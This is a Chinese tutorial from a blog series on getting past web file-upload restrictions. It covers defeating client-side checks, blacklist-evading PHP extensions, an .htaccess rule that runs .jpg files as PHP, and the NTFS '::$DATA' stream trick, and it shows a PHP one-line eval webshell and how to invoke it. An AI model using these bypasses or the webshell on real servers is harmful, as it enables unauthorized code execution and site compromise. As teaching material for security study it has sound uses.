网络安全从入门到精通(第八章-1)文件上传漏洞 —— 解析、验证、伪造(一)

本文内容:
			~客户端检测	
			~服务端检测
			~实战注意(主要黑名单)

一、客户端检测

1,客户端校验:
		一般是在网页上写一段Js脚本,用Js去检测,
		校验上传文件的后缀名,有白名单也有黑名单。
2,判断方式:
		通过抓包来判断,如果还未抓住包,就弹出不准上传,
		那么就是前端验证,否则一般就是服务端验证
3,突破方法
		前端验证非常不可靠,通常可通过两种方式绕过:
			~关闭JS尝试绕过
			~传正常文件通过burp修改数据包就可以绕过(推荐)
4,黑白名单机制:
		黑名单:不允许上传什么
		白名单:只允许上传什么

		白名单比黑名单更安全

二、服务端检测

1,服务端检测几个常见的手段:
		检查Content-Type (内容类型)
		检查后缀  (检查后缀是主流)
		检查文件头

2,制作图片马(隐写)
		~找一张正常的照片(最好用小图片,越小越好)
			例如:1.jpg
		~新建一个文本文档(内容一句马)
			例如:1.txt
		~打开cmd运行下边命令
			代码:copy 1.jpg/b + 1.txt 123.jpg
			/b的意思是以二进制加载,最后会合成一个名为123.jpg的图片
		
		另外:如何拿出源文件?
			改123.jpg为123.zip直接解压即可,很多ctf的初级隐写难度

三、实战注意(主要黑名单)

1,简单的前端黑白名单限制可以通过上边的两种方法
2,图片马burp抓包改回后缀进行绕过
3,服务端黑名单,将后缀改为	php.  php_  php4 phptml php空格 在上传
4,htaccess文件绕过
		简单的说,htaccess文件就是web容器的配置文件,web容器
		会根据htaccess文件的内容去执行,我们可以改内容:
		例如:	
			AddType application/x-httpd-php .jpg
			这个代码指令代表着.jpg文件会当做php来解析,但是仅限于当前文件夹
		用法:
			新建1.txt文件,将代码写入,打开cmd,运行下列命令:
			ren 1.txt .htaccess		//更名后是没有文件名字的
		
		注意:但是这个功能是默认不开启的,可以试试,但是伪静态网页一定会开

5,win系统后缀是不分大小写,而且解析容器也一般不分。可以改一下后缀大小写
6,win文件流绕过(隐写)
		打开cmd:
			echo abcd					//输出abcd
			echo abcd >> 1.txt			//新建1.txt,内容为abcd
			echo abcd >> 1.txt:b.txt	//新建b.txt,内容为abcd,且藏在1.txt中
										//系统中只能看到1.txt
		打开b.txt:(cmd中)
			notepad						//打开记事本
			notepad 1.txt				//用记事本打开1.txt
			notepad 2.txt:b.txt			//打开隐藏在1.txt中的b.txt
		注意:此时的1.txt中必须为空,不能保存东西
		
	扩展:
			(1)事实上,新建的文件夹,完整的语句是这样的:
				echo abcd >> 2.txt::$DATA		
			这是建立一个2.txt文件,平时写echo abcd >> 1.txt	系统默认补全
			
			(2)echo abcd >> 1.txt		没有1.txt新建,若有则将abcd追加至元文件
			(3)如何结合上传文件:
				上传1.jpg,burp抓包,改为1.php::$DATA,保存在服务器为1.php

7,实战中,不知道什么检测,建议直接用图片马,可以避免很多麻烦
8,		连接自己的一句马:url/上传马.php?a=phpinfo();			//“;”不要忘记,
			经典一句马内容:<?php @eval($_REQUEST['a']);?>
原创文章 61 获赞 13 访问量 1万+

猜你喜欢

转载自blog.csdn.net/weixin_43970718/article/details/104245591